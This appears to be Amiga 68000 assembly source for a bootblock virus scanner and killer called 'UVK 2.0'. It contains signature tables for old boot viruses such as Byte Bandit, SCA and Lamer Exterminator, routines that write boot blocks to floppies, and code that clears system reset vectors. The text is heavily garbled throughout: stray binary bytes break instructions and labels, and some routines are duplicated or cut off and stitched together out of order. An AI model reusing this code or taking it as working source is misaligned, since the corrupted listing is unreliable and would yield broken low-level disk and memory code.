;ecrit boot end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L r@,h$4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) ;command = motor off clr.l 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) ;command = write protect ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) ;non beq.s okprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) ;command = disk dans drive ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk ;ok CLR.L GOON OKDK: rts writeb: bsr.L drive ;disk in drive ? bsr.L protect ;wriet enable ? cmp.l #1,goon bne.s endwrit ;erreur move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) ;command = write move.l #1024,36(a1) ;len = $400 (2 block) move.l #BUF,40(a1) ;buffer move.l #0,44(a1) ;offset (piste 0) jsr doio(a6) move.w #4,28(a1) ;update (tjs apres write) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor ;motor off endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK: DC.B "trackdisk.device",0 even len: dc.l 0 GOON: DC.L 0 buffer: dc.l 0 buf: dc.b "D>xOS",0 dc.l 0,$370 bra.s Cont dc.b ">Ram Cleaner 3.0<",0 Kill: move.l d7,$180(a5) moveq #50,d3 WVbl1: cmp.b #$f0,$6(a5) bne.s WVbl1 WVbl2: cmp.b #$ff,$6(a5) bne.s WVbl2 dbf d3,WVbl1 move.l #1,$24(a6) movem.l (a7)+,d0-d7/a0-a6 move.l #$fc00d2,$80 trap #0 rts ExecExc:dc.w -550,-448,-442,-436,-412,-400,-196 Cont: movem.l d0-d7/a0-a6,-(a7) move.l $4,a6 lea $dff000,a5 move.l #$f000f00,d7 tst.l 42(a6) bne.s Kill tst.l 46(a6) bne.s Kill tst.l 546(a6) bne.s Kill tst.l 55*0008,Gad dc.l $10,$432e0007,$ec24661c,Hcs dc.l $38,$45faffc6,$226e003a,VKill dc.l $20,$4ef90007,$00260639,TimeB dc.l $20,$303c00ff,$22d851c8,Obe dc.l $10,$432e0007,$ec24661c,HCS dc.l $10,$432e0007,$ec246618,HCS2 dc.l $38,$4afc0007,$f5000007,GxTeam dc.l $60,$12d851c8,$fffc91fc,Abra dc.l $94,$203c1113,$d4c0e598,NoName dc.l $ce,$08390003,$00bfe001,Term dc.l $18,$ffe843f9,$0007e000,Rev,0 ProList:dc.l 550,0018,"Guar",Gar2 dc.l 550,-172,"Guar",Gar1 dc.l 550,$bb8,"PS V",Pseu d+ugIc.l 550,$498,"oder",CodB dc.l 550,$022,"ROMC",Rom70 dc.l 042,$f36,"ROMC",Rom40 dc.l 550,$236,"III ",Pro3 dc.l 550,$d4e,"2.0 ",Pseu2 dc.l 046,$700,"IRUS",VCtrl dc.l 550,$c98,"Y V2",Pow2 dc.l 550,$068,"0.73",Rom73 dc.l 046,$d4e,"miga",ATool dc.l 550,-172,"3.0 ",Sys30 dc.l 550,-172,"4.0 ",Sys40 dc.l 550,-176,"5.0 ",Sys50 dc.l 550,-176,"5.1 ",Sys51 dc.l 550,-142,"V5.3",Sys53 dc.l 550,-142,"V5.4",Sys54 dc.l 550,-130,"V6.1",Sys61 dc.l 550,-986,"V6.4",Sys64,0 RamList:dc.l 46,",$3e,$41fafff2,$c,0,SCA dc.l 550,$3e2,$48e77f7f,$4c,BanK,Ban dc.l 550,$14c,"DASA",192,0,War dc.l 46,$4c,$41faffe6,$18,0,Pen dc.l 550,$3b8,$790048e7,$30,Lam2k,Lam dc.l 550,$406,$226e003a,$2a,Lam3k,Lam dc.l 550,$3be,$45fa0369,$42,Lam1k,Lam dc.l 550,$3ba,$45fa0365,$42,Lam4k,Lam dc.l 46,$272,$2c790000,$c,Dokk,Dok dc.l 46,220,$0007ff14,$d8,Gadk,Gad dc.l 46,$e,$6d026022,$48,0,Nor dc.l 46,$e,$41faffb6,$48,0,Bla dc.l 46,$60,$ffe843f9,$18,Revk,Rev dc.l 46,$6c,$d05951c9,$60,0,Obe -J dc.l 46,$82,$26497000,$40,0,VKill dc.l 550,$0,$fffffffe,$5b2,0,Bgs9t dc.l 46,$64,$ec246618,$14,0,HCS2 dc.l 46,$c2,$12d851c8,$60,0,Abra dc.l 46,$31c,$4afc0007,$38,GxTK,GxTeam dc.l 550,$3f4,$203c1113,$94,NNamK,NoName dc.l 46,$2f6,$08390003,$ce,0,Term dc.l 550,$1216,$237c0121,$100,0,LamerR dc.l 46,$78,$ec24661c,$14,0,HCS,0 AnaList:;dc.l $226,MKTagP,$fd9c,MKSum,$222,MKMemP,46,MCool ;dc.l 42,MCold,-454,MDoIo,148,MEInt,0 AdrModL:dc.l $2d48,$2d48,-2,$2d50,$2d50,-2,$ffff,$2d7c,-6 .y]A+dc.l $ffff,$2d79,-6,$ffff,$2d7a,-4,$ffff,$42ae,-2,0 InsList:;dc.l "1",NormB,"2",ProtB,"4",NoFMB,"5",NoDrB,"6",NoLoB ;dc.l "7",IrqPB,"8",NoBoB,0 IoList: ;dc.l 1,ReseIo,2,ReadIo,3,WritIo,4,UpdaIo,9,motoIo,10,formIo ;dc.l 14,DiskIo,15,ProtIo,5,CleaIo,11,RemoIo,12,SeekIo ;dc.l 13,ChanIo,0 IoParl: ;dc.l $28,IoBuf,$24,IoLen,$2c,IoOff,0 ExcExb: dc.l -550,-448,-442,-436,-412,-400,-196,0 CodBL: dc.w $ffc0,$0a00,$ffc0,$0a40,$ffc0,$0a80 ;eori.b/w/l dc.w $f1c0,$b100,$f1c0,$b140,$f1c0,$b180,0/sG ;eor.b/w/l NoExpan:dc.b "No Expansion Memory Boot",-1 Girl: dc.b "Bootgirl Boot",-1 Mem12: dc.b "Memory Controller 1.2",-1 ASS: dc.b "ASS Protector 1.0",-1 Random: dc.b "Random Access Boot",-1 NoFast: dc.b "NoFastMem Boot",-1 Mem13: dc.b "Memory Controller 1.3",-1 XCopy: dc.b "XCopy 2.0 Boot",-1 Sys30: dc.b "PvL Antivirus 3.0",-1 sys40: dc.b "PvL Antivirus 4.0",-1 Sys50: dc.b "PvL Antivirus 5.0",-1 Sys51: dc.b "PvL Antivirus 5.1",-1 Sys53: dc.b "PvL Antivirus 5.3",-1 Sys54: dc.b "P0\vL Antivirus 5.4",-1 Sys61: dc.b "PvL Antivirus 6.1",-1 Sys64: dc.b "PvL Antivirus 6.4",-1 PvlSnd: dc.b "PvL Sound Boot",-1 Norm: dc.b "Normal DOS Boot",-1 NotIns: dc.b "Not Installed Disk",-1 Kick: dc.b "Kickstart Disk",-1 GxTNF: dc.b "Gx Team NoFastMem",-1 BotCop: dc.b "Invisible Brain Bootcopy",-1 Avirex: dc.b "Avirex Boot",-1 VirTer: dc.b "Virus Terminator V1.0",-1 PalSys: dc.b "PAL Window System",-1 VirSla: dc.b "Virus Slayer 1.0",-1 VDC: dc.b "Virus Detector Cleaner 1.3",-1 VDC1q16: dc.b "Virus Dectector Cleaner V1.6",-1 MegaB: dc.b "Mega-boot 1.30",-1 MegaK: dc.b "Mega Killer",-1 Synd: dc.b "Syndicate Sinister",-1 Destr: dc.b "Destructor",-1 Diet: dc.b "Dietmar Virus Detector",-1 Obse: dc.b "Dimarz Observer",-1 Deluxe: dc.b "Deluxe Boot",-1 Tritech:dc.b "Tritech Boot V1.0",-1 BootWr: dc.b "Writer Boot",-1 ColorB: dc.b "Color Boot",-1 UtilB2: dc.b "Utility Boot V2.0",-1 BlizP: dc.b "Blizzard Protector 1.0",-1 Mia: dc.b "MIA Disk Boot",-1 AddrZ: dc.b "Zerovir219us AutoAddRam Boot",-1 FastRZ: dc.b "Zerovirus NoFastMem Boot",-1 PalZ: dc.b "Zerovirus BigScreenTest Boot",-1 CCSB: dc.b "CCS 2.0 Boot",-1 CCS3: dc.b "CCS 3.0 Boot",-1 DevW: dc.b "DevWare Antivirus",-1 ECSB: dc.b "ECS PAL Boot",-1 BootLeg:dc.b "BootLeg V2.1",-1,0 sca: dc.b "SCA (LSD/AEK/BS1)",-1 Ban: dc.b "Byte Bandit",-1 War: dc.b "Byte Warrior (DASA)",-1 Bla: dc.b "Northstar2",-1 Pen: dc.b "Pentagon Circle",-1 Lam: dc.b "Lamer Exterminator 1-4",-1 Dok: dc.b "Disk Doktors",-1 Irq:3)' dc.b "Irq",-1 Gad: dc.b "Gadaffi",-1 HCS: dc.b "H.C.S 4220",-1 Hcs2: dc.b "H.C.S 4220 II",-1 Rev: dc.b "Revenge V1.2",-1 Nor: dc.b "Northstar",-1 Bgs9t: dc.b "BGS9",-1 VKill: dc.b "VKill V1.0",-1 TimeB: dc.b "TimeBomb System",-1 Obe: dc.b "Obelisk",-1 GxTeam: dc.b "GxTeam",-1 Abra: dc.b "Claas Abraham",-1 NoName: dc.b "NoName",-1 Term: dc.b "Termigator",-1 LamerR: dc.b "Revenge of the Lamer",-1 Gar1: dc.b " Guardian V1.1",-1 Gar2: dc.b " Guardian V1.2",-1 Pseu: dc.b " Pseudo Ops Vi4a[rus Killer 1.6",-1 Pseu2: dc.b " Pseudo Ops Virus Killer 2.0",-1 CodB: dc.b " Coder Board 4.0",-1 Rom70: dc.b " Romcrack 0.70",-1 Rom40: dc.b " Romcrack 0.40",-1 Rom73: dc.b " Romcrack 0.73",-1 Pow2: dc.b " Power Utility 2.0",-1 ;Pow1: dc.b " Power Utility 1.0",-1 Atool: dc.b " Atool 2.0",-1 Pro3: dc.b " Protector III",-1 VCtrl: dc.b " Virus Control 1.3",-1 even KeyTab: dc.l $21,NextDrs,$22,NextDrd,$10,Reset,$1d,Check,$1e,Display dc.l $1f,Copy,$2d,Move,$2e,Install,$2f,Info,$20,Analyf dc.l Coor dc.l 0 Coor: dc.w -2,-2 dc.w 80,-2 dc.w 80,9 dc.w -2,9 dc.w -2,-2 TextW: dc.b 1,1 dc.b 0,0 dc.w 0,0 dc.l 0 dc.l TextWTxt dc.l 0 TextWTxt:dc.b "About",0 Window: dc.w 150 dc.w 50 dc.w 304 dc.w 92 dc.b 0 ;2 dc.b 1 dc.l $200 dc.l $100f dc.l 0 dc.l 0 dc.l TitleWnd Scr1: dc.l 0 dc.l 0 dc.w 304 dc.w 92 dc.w 304 dc.w 92 dc.w 15 Window2:dc.w 40 dc.w 5 dc.w 534 dc.w 149 dc.b 2 ;2 dc.b 2 dc.l $200 dc.l $100f dc.l 0 dc.l 0 dc.l TitleWnd2 Scr2: Ŏ dc.l 0 dc.l 0 dc.w 304 dc.w 92 dc.w 304 dc.w 92 dc.w 15 Image: dc.w 0,0 dc.w 304,92 dc.w 2 dc.l Data dc.b %00000011 dc.b %00000000 dc.l 0 Image2: dc.w 0,0 dc.w 304,18 dc.w 2 dc.l Data2 dc.b %00000011 dc.b %00000000 dc.l 0 DiskPort: dc.l 0 ;0 dc.l 0 ;4 dc.w $0400 ;8 dc.l 0 ;10 dc.b 0 ;14 dc.b 31 ;15 dc.l 0 ;16 lh1: dc.l lh2 ;20 lh2: dc.l 0 ;24 dc.l lh1 ;28 dc.b 0 ;32 dc.b 0 ;33 IoReq: dc.l 0 ;0 ln_Succ Struct Node Struct Msg dc.l 0 ;4 ln_Pred !|Ldc.b 5 ;8 ln_Type (Message) dc.b 0 ;9 ln_Pri dc.l 0 ;10 ln_Name dc.l 0 ;14 mn_ReplyPort Struct MsgPort dc.w 48 ;18 mn_Length dc.l 0 ;20 Struct Device dc.l 0 ;24 Io_Unit dc.w 0 ;28 Io_Cmd dc.w 0 ;30 Io_Flags dc.l 0 ;32 Io_Error dc.l 0 ;36 Io_Lenght dc.l 0 ;40 Io_Data dc.l 0 ;44 Io_Offset dc.l 0 dc.l 0 KillB: dc.b "DOS",0 dc.l $00000000,$370 bra.s NormB dc.b "RIP. Here lies a virus. Killed in cold blood " dc.b "by UVK 2.0 " NormB: move.l 4,a6 lea DosLib(pc),a1 "ڑjsr -96(a6) tst.l d0 bne.s OkNorm moveq #-1,d0 bra.s ENorm DosLib: dc.b "dos.library",0 OkNorm: move.l d0,a0 move.l 22(a0),a0 moveq #0,d0 ENorm: rts LedOff: bset #1,$bfe001 rts Clrram: move.l 4,a6 clr.l 42(a6) clr.l 46(a6) lea 34(a6),a0 clr.w d0 moveq #23,d1 ;#22 CoolLp2:add.w (a0)+,d0 dbf d1,CoolLp2 not.w d0 move.w d0,(a0) ;,82(a6) clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) rts TestPal:move.l 4,a6 cmp.l #$3c,530(a6) beq.s Rset rts Rset: mov#;` e.l $fc0004,$80 trap #0 rts NoFMem: move.l 4,a6 move.l #$20004,d1 OkAlM: jsr -216(a6) tst.l d0 beq.s OkAvM jsr -198(a6) tst.l d0 bne.s OkAlM OkAvM: rts NoEDr: move.l 4,a6 lea DiskRes(pc),a1 jsr -498(a6) tst.l d0 beq.s ErrNdr move.l d0,a0 lea 52(a0),a0 moveq #-1,d0 move.l d0,(a0)+ move.l d0,(a0)+ move.l d0,(a0) bra.s ErrNDr DiskRes:dc.b "disk.resource",0 even ErrNDr: rts MakePal:lea Intuition(pc),a1 move.l 4,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.$ɕl d0,(a0) beq.s ErrMaP move.l d0,a0 lea OldOpW,a1 move.l -202(a0),(a1) move.l 4,a6 move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr -198(a6) move.l d0,a1 beq.s ErrMaP move.l #ENewOpW-NewOpW,d1 CopyLp2:move.b (a0)+,(a1)+ dbf d1,CopyLp2 bsr.s SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) ErrMaP: rts NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OldOpW(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 move.w #256,6(a0) lea TextMP(pc),a1 movem.l %ʭ4(a7)+,d0-d7/a1-a6 dc.w $4ef9 OldOpW: dc.l 0 Intuition:dc.b "intuition.library",0 even TextMP: dc.b "AmigaDos" blk.b 12,0 IntBase:dc.l 0 SetFunc:move.l 4,a6 lea Intbase,a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) rts ENewOpW: BootList:dc.l $0c,$41fa0196,$0c506f6d,CCSB dc.l $64,$5c9e004a,$b0a0829c,NoExpan dc.l $20,$428741fa,$ffe8b1fc,Mem12 dc.l $40,$0009001c,$4eaefe38,Girl dc.l $50,$48e7fffe,$337c0009,Ass dc.l $60,$02c000df,$f18033fc,Sys30 dc.l $60,$0f9000df,$f18033fc,&NSys40 dc.l $398,$802c332e,$3020802c,Sys50 dc.l $6c,$0226671a,$0cae0007,Sys51 dc.l $1b0,$000000f0,$00f00000,Sys53 dc.l $1b0,$0eca00f0,$00f00eca,Sys54 dc.l $78,$2c780004,$42ae002e,Sys61 dc.l $1b0,$0ca90000,$04000024,Sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,NoFast dc.l $0c,$0c6e0020,$00146f00,Random dc.l $0c,$43fa0136,$70004eae,XCopy dc.l $20,$42862a3c,$0027f000,Mem13 dc.l $14,$48e7fffe,$237c0005,GxTNF dc.l $18,$00804e40,$46fc2700,BotCop dc.l $10,$4eba0036,$4cdf7fff,Avirex '̏& dc.l $14,$0004202e,$02260c80,VirTer dc.l $18,$000a0016,$66000036,VDC dc.l $18,$000a0016,$662e6120,VDC16 dc.l $02,$4b49,$0,Kick dc.l $10,$0,$0,NotIns dc.l $0c,$2c780004,$41fa00b2,BootLeg dc.l $48,$00ff20d9,$51cffffc,PalSys dc.l $150,$feb043f9,$007fa00,VirSla dc.l $60,$43fa00bc,$4eaefe68,MegaK dc.l $30,$3b7c0f00,$01806000,MegaB dc.l $20,$2c790000,$00044eae,Diet dc.l $10,$0c6e0020,$00146f00,Synd dc.l $10,$027a6704,$4eec0014,Obse dc.l $30,$00326618,$4aae0226,Destr dc.l $34(͹N,$223c0001,$0002203c,Deluxe dc.l $40,$23c900df,$f08033c0,PvlSnd dc.l $6a,$48e7fffe,$42b90000,Tritech dc.l $1e,$2c562c56,$23ce0006,UtilB2 dc.l $34,$33fc8380,$00dff096,BootWr dc.l $18,$41f900df,$f000317c,ColorB dc.l $3a,$3e3c00f0,$202e002e,BlizP dc.l $40,$70ff4640,$48404600,Mia dc.l $40,$207a001a,$227a001a,AddRZ dc.l $40,$43fa00da,$4eaefe68,FastRZ dc.l $50,$2c780004,$4eaefe62,PalZ dc.l $20,$0c6e0008,$003e6606,CCS3 dc.l $30,$51c8fffc,$45ed0542,DevW dc.l $20,$427900df,$f1dc4)Jre75,EcsB dc.l $0c,$43fa0018,$4eaeffa0,Norm,0 VirList:dc.l $ca,$2d790007,$efdefe3a,SCA dc.l $4c,$48e77f7f,$2c780004,Ban dc.l $c0,$44415341,$3081323c,War dc.l $18,$41faffe6,$43f90007,Pen dc.l $0c,$2c790000,$00044eae,Dok dc.l $48,$6d026022,$41faffb2,Nor dc.l $48,$41faffb6,$43f90007,Bla dc.l $42,$343c0352,$d310b118,Lam ;lamer2 dc.l $42,$45fa0369,$1012b118,Lam ;'lamer' dc.l $42,$45fa0365,$1012b118,Lam ;'lamer4' dc.l $1a,$123a03d3,$343c03c4,Lam ;lamer3 dc.l $d8,$0007ff14,$6100UnkT,a0 bsr.L Status clr.b TimeFlag rts KillV: move.w #150,d0 move.w #50,d1 move.w #304,d2 move.w #79,d3 bsr.L GfxWinO moveq #5,d0 moveq #15,d1 lea KillT,a0 bsr.L GfxWr KVLoop: btst #10,$dff016 beq.s KVExit btst #6,$bfe001 beq.s KVKill bsr.L GetKey cmp.b #$12,d0 beq.s KVExit2 cmp.b #$27,d0 beq.s KVKill2 bra.s KVLoop KVKill: btst #6,$bfe001 beq.s KVKill KVKill2:move.l Drs,d4 ; bsr.s WriT bsr.L GfxWinC lea VirKil,a0 bsr.L Status clr.b TimeFlag rts KVExit: bt;st #10,$dff016 beq.s KVExit KVExit2:bsr.L GfxWinC rts EndChk: rts ChkBoot:move.l Buffer,a0 lea BootList,a1 BSpeLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoBSpe move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoBSpe move.l 12(a1),a0 moveq #6,d0 moveq #88,d1 clr.l Color bsr.L GfxWr2 lea Detect,a0 lsl.l #3,d0 addq #6,d0 moveq #88,d1 bsr.L GfxWr clr.b TimeFlag moveq #1,d0 rts NoBSpe: add.l #16,a1 tst.l (a1) bne.s BSpeLp EndCBoot:rts Display:bsr.L  ~ReadTrk bne.S EndDisp moveq #0,d1 move.l Buffer,a0 lea ScrBuf,a1 lea 1024(a0),a2 ScrCT: move.b (a0),d0 cmp.b #$7f,d0 bhi.s nocar cmp.b #$20,d0 blo.s nocar move.b (a0),(a1)+ bra.s ContDi NoCar: move.b #$2e,(a1)+ ContDi: addq #1,a0 addq #1,d1 cmp.l #64,d1 bne.s No64 move.b #10,(a1)+ moveq #0,d1 No64: cmp.l a0,a2 bne.s scrct move.w #56,d0 move.w #25,d1 move.w #528,d2 move.w #136,d3 bsr.L GfxWinO lea ScrBuf,a0 moveq #10,d1 bsr.L GfxWr3 bsr.L WaitRet bsr.L GfxWҝ@inC EndDisp:rts Copy: lea SouT,a0 bsr.L Status bsr.L WaitRet bsr.L ReadTrk bne.s EndCop lea DesT,a0 bsr.L Status bsr.L WaitRet bsr.L WriTrk bne.s EndCop lea OkCopT,a0 bsr.L Status clr.b TimeFlag EndCop: rts Move: rts Install:rts Analyse:rts Link: lea AvailT,a0 bsr.L Status clr.b TimeFlag rts Special:lea AvailT,a0 bsr.L Status clr.b TimeFlag rts Info: move.w #64,d0 move.w #20,d1 move.w #512,d2 move.w #92,d3 bsr.L GfxWinO lea InfoTxt,a0 moveq #10,d1 bsr.L  1GfxWr3 bsr.L WaitRet bsr.L GfxCls lea InfoTxt,a0 moveq #10,d1 bsr.L GfxWr3 bsr.L WaitRet bsr.L GfxWinC rts Dr0: cmp.w #151,d7 bhi.s Driv1 bra.s Driv0 Dr2: cmp.w #251,d7 bhi.s Driv3 bra.s Driv2 Driv3: addq #1,d3 Driv2: addq #1,d3 Driv1: addq #1,d3 Driv0: lea DriveC,a0 tst.b 0(a0,d3.l) bne.s DrConOk lea NotCDr,a0 bsr.L Status clr.b TimeFlag rts DrConOk:lea DrivT+2,a3 move.l d3,d4 add.l #$30,d4 move.b d4,(a3) move.l d3,d4 mulu #50,d4 add.l #111,d4 move.l dԹ4,d0 move.l #74,d1 lea DrivT,a0 tst.b MRiFlag beq.s PasRiM SetSDr: move.l #3,Color ;source bsr.L GfxWr2 move.l d3,Drs bra.s EChgDr PasRiM: cmp.l Drs,d3 beq.s ChgDrP move.l #1,Color ;destination bsr.L GfxWr2 ChgDrP: move.l d3,Drd move.b #1,MRiFlag EChgDr: rts ChkSum: lea SouT,a0 bsr.L Status bsr.L WaitRet lea ChkRd,a0 bsr.L Status bsr.L ReadTrk bne.s EndSum lea ChkCal,a0 bsr.L Status moveq #1,d1 bsr.L Wait move.l Buffer,a0 ;# Checksum Bootblock lea 4(a0),a1 lwclr.l (a1) move.w #$ff,d1 moveq #0,d0 ChkLp: add.l (a0)+,d0 bcc.s Carry addq.l #1,d0 Carry: dbf d1,ChkLp not.l d0 move.l d0,(a1) ;# lea ChkSav,a0 bsr.L Status clr.b Timeflag move.l DrS,d4 bsr.L WriT EndSum: rts Keys: rts Amiguy: rts ; Routines disquettes Motor: move.l 4,a6 lea IoReq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts Drive: move.l 4,a6 lea IoReq,a1 move.w #14,28(a1) jsr -456(a6) lea IoReq,a1 tst.l 32(a1) beq.s EndDr lea NoDsk,a0 bsr.L StatusL clr.b TimeFlag moveq #1,d0 EndDr: rts Protect:move.l 4,a6 lea IoReq,a1 move.w #15,28(a1) jsr -456(a6) lea IoReq,a1 tst.l 32(a1) beq.s EndPro lea DskPro,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 EndPro: rts ReadTrk:move.l DrS,d4 ReadT: bsr.L SetUnit bsr.s Drive bne.s ERdTrk move.l 4,a6 lea IoReq,a1 move.w #2,28(a1) ;$1c command move.l #1024,36(a1) ;$24 len move.l Buffer,40(a1) ;$28 buffer move.l #0,44(a1) ;$2c offset jsr -456(a6) tst.l d0 bne.s RdTErr ׅjbsr.L Motor ERdTrk: rts RdTErr: lea ReadErr,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 bra.s ERdTrk WriTrk: move.l DrD,d4 WriT: bsr.L SetUnit bsr.L Drive bne.L EWrTrk bsr.L Protect bne.s EWrTrk move.l 4,a6 lea IoReq,a1 move.w #3,28(a1) ;$1c command move.l #1024,36(a1) ;$24 len move.l Buffer,40(a1) ;$28 buffer move.l #0,44(a1) ;$2c offset jsr -456(a6) tst.l d0 bne.s WrTErr move.w #4,28(a1) jsr -456(a6) tst.l d0 bne.s WrTErr bsr.L Motor EWrTrk: rts WrTErr: Ylea WriErr,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 bra.s EWrTrk SetUnit:lea Drive0,a0 lsl.l #2,d4 ;drive lea IoReq,a1 move.l 0(a0,d4.l),24(a1) rts ;SouRoutines Wait: mulu #50,d1 move.l Dosbase,a6 jsr -198(a6) ;Delay rts WbStrt: clr.l WbMsg ;# Wb Startup move.l 4,a6 sub.l a1,a1 ;current task jsr -294(a6) ;FindTask move.l d0,a4 tst.l 172(a4) ;pr_CLI bne.s fromcli lea 92(a4),a0 ;pr_MsgPort jsr -384(a6) ;WaitPort lea 92(a4),a0 ;pr_MsgPort jsr -372(a6) ;GetMV Msg move.l d0,WbMsg ;sauve Msg FromCli:rts WbOut: tst.l WbMsg beq.s EndCli move.l 4,a6 jsr -132(a6) ;Forpib move.l WbMsg,a1 jsr -378(a6) ;ReplyMsg EndCli: rts ;# BanK: rts Lam2K: rts Lam3K: rts Lam1K: rts Lam4K: rts DokK: rts gadK: rts RevK: rts GxTK: rts NNamK: rts Screen: dc.w 0 dc.w 0 dc.w 640 dc.w 256 dc.w 2 dc.b 0 dc.b 1 dc.w $8002 dc.w 15 dc.l 0 dc.l TitleScr dc.l 0 dc.l 0 TitleScr:dc.b "UVK 2.0",0 Border: dc.w 0 dc.w 0 dc.b 3 dc.b 0 dc.b 0 dc.b 5  AACveq #$17,d1 coollp: add.w (a0)+,d0 dbf d0,coollp not.w d0 move.w d0,(a0) tst.l 550(a6) beq.s okres cmp.w #$f00,(a3) beq.s okres move.w #$00f,(a3) okres: clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) rts bank: andi.b #$50,462(a5) rts lam2k: move.l #$600001d8,$17c(a5) rts lam3k: move.l #$60000210,$164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b # ۂ$8c,343(a5) rts revk: move.w #$600a,$1e8(a5) rts ramlist:dc.l 46,$3e,$41fafff2,$c,0 ;sca dc.l 550,$3e2,$48e77f7f,$4c,bank ;bandit dc.l 550,$14c,"DASA",192,0 ;dasa dc.l 46,$4c,$41faffe6,$18,0 ;pen dc.l 550,$3b8,$790048e7,$30,lam2k ;lamer2 dc.l 550,$406,$226e003a,$2a,lam3k ;lamer3 dc.l 550,$3be,$45fa0369,$42,lam1k ;'lamer1' dc.l 550,$3ba,$45fa0365,$42,lam4k ;'lamer4' dc.l 46,$272,$2c790000,$c,dokk ;doktors dc.l 46,220,$0007ff14,$d8,gadk ;gadaffi dc.l 46,$e,$6d026022,$48 FB0,0 ;northstar dc.l 46,$e,$41faffb6,$48,0 ;northstar2 dc.l 46,$60,$ffe843f9,$18,revk ;revenge dc.l 46,$6c,$d05951c9,$60,0 ;obelisk dc.l 46,$82,$26497000,$40,0 ;vkill dc.l 550,$0,$fffffffe,$5b2,0 ;bsg9 dc.l 46,$78,$432e0007,$10,0 ;hcs dc.l 0 color: dc.w 0 dosname:dc.b "dos.library",0 blk.b $ae,0 ;LEN ENDBOOT: $164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b # 쇩 (a0),a4 cmp.w #$13,d0 beq.L PontMou cmp.w #$23,d0 beq.L PontMou tst.b mriflag beq.L MousEnd clr.l d5 move.w d0,d5 move.l GfxBase,a6 move.l RastPort,a1 mulu #100,d2 add.w #2,d2 mulu #13,d3 add.w #27,d3 lea ClicTab,a3 ClicLp: move.l (a3),d0 jsr -342(a6) ;setapen move.l d2,d0 move.l d3,d1 add.l 4(a3),d0 ;x1 add.l 8(a3),d1 ;y1 jsr -240(a6) ;move add.l 12(a3),d0 ;x2 add.l 16(a3),d1 ;y2 jsr -246(a6) ;draw add.l #20,a3 cmp.l #-1,(a3) bne.s cliclp MouOff: clr. ޅ\Tl d0 clr.l d1 move.l WindowHd,a0 move.w 14(a0),d0 ;x move.w 12(a0),d1 ;y cmp.w #2,d0 ;out blo.L MouEnd2 cmp.w #301,d0 bhi.L MouEnd2 cmp.w #27,d1 blo.L MouEnd2 cmp.w #78,d1 bhi.L MouEnd2 sub.w #2,d0 ;col/lig divu #100,d0 sub.w #27,d1 divu #13,d1 move.w d0,d2 move.w d1,d3 lsl.w #4,d0 add.w d1,d0 ;xy cmp.w d0,d5 bne.s MouEnd2 btst #6,$bfe001 beq.s MouOff bsr.L DrawIm2 bsr.s ShConDr PontMou:btst #10,$dff016 beq.s PontMou MouOff2:btst #6,$bfe001 beq.s MouOfGff2 clr.l d3 jsr (a4) bsr.s ShConDr MOff4: btst #6,$bfe001 beq.s MOff4 MousEnd:rts MouEnd2:bsr.L DrawIm2 bsr.s ShConDr MOff3: btst #6,$bfe001 beq.s MOff3 rts ;show connected drives ShConDr:lea DriveC,a2 lea DrivT+2,a3 moveq #0,d2 SConLp: tst.b 0(a2,d2.l) beq.s SNotCon cmp.l Drs,d2 beq.s SNotCon cmp.l Drd,d2 beq.s SNotCon move.l d2,d3 add.l #$30,d3 move.b d3,(a3) move.l d2,d3 mulu #50,d3 add.l #111,d3 move.l d3,d0 move.l #74,d1 lea DrivT,a0 move.l #0,Color >5bsr.L GfxWr2 SNotCon:addq #1,d2 cmp.l #4,d2 bne.s SConLp move.l Drd,d3 cmp.l Drs,d3 beq.s ShDrs clr.b MRiFlag bsr.L DrConOk ShDrs: move.l Drs,d3 bsr.L DrConOk move.l Drs,d0 add.l #$30,d0 lea SouT,a0 move.b d0,19(a0) move.l DrD,d0 add.l #$30,d0 lea DesT,a0 move.b d0,24(a0) rts StaSub: tst.b TimeFlag bne.s EndSta sub.l #1,TimeSta tst.l TimeSta bne.s EndSta move.l #$200,TimeSta move.b #1,TimeFlag bsr.L ClrSta EndSta: rts NextDrs:lea Drs,a0 bra.s TstDr 